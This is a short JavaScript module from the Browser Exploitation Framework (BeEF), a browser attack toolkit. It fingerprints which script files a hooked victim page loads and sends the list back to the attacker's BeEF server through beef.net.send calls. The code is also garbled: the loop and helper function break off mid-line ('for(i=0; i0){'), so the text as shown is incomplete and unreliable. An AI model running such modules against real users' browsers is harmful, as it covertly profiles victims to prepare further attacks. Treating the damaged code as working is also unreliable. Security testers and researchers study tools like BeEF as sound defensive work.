// // Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { //Regular expression to match script names in source var regex = new RegExp('/\\w*\.(min\.)?js'); var results = []; var urls = ""; Array.prototype.unique = function() { var o = {}, i, l = this.length, r = []; for(i=0; i0){ urls=results.unique().join('||'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+urls); } else{ beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+urls); } } catch(e){ results = "Fingerprint failed: "+e.message; beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+results.toString()); } } fp(); });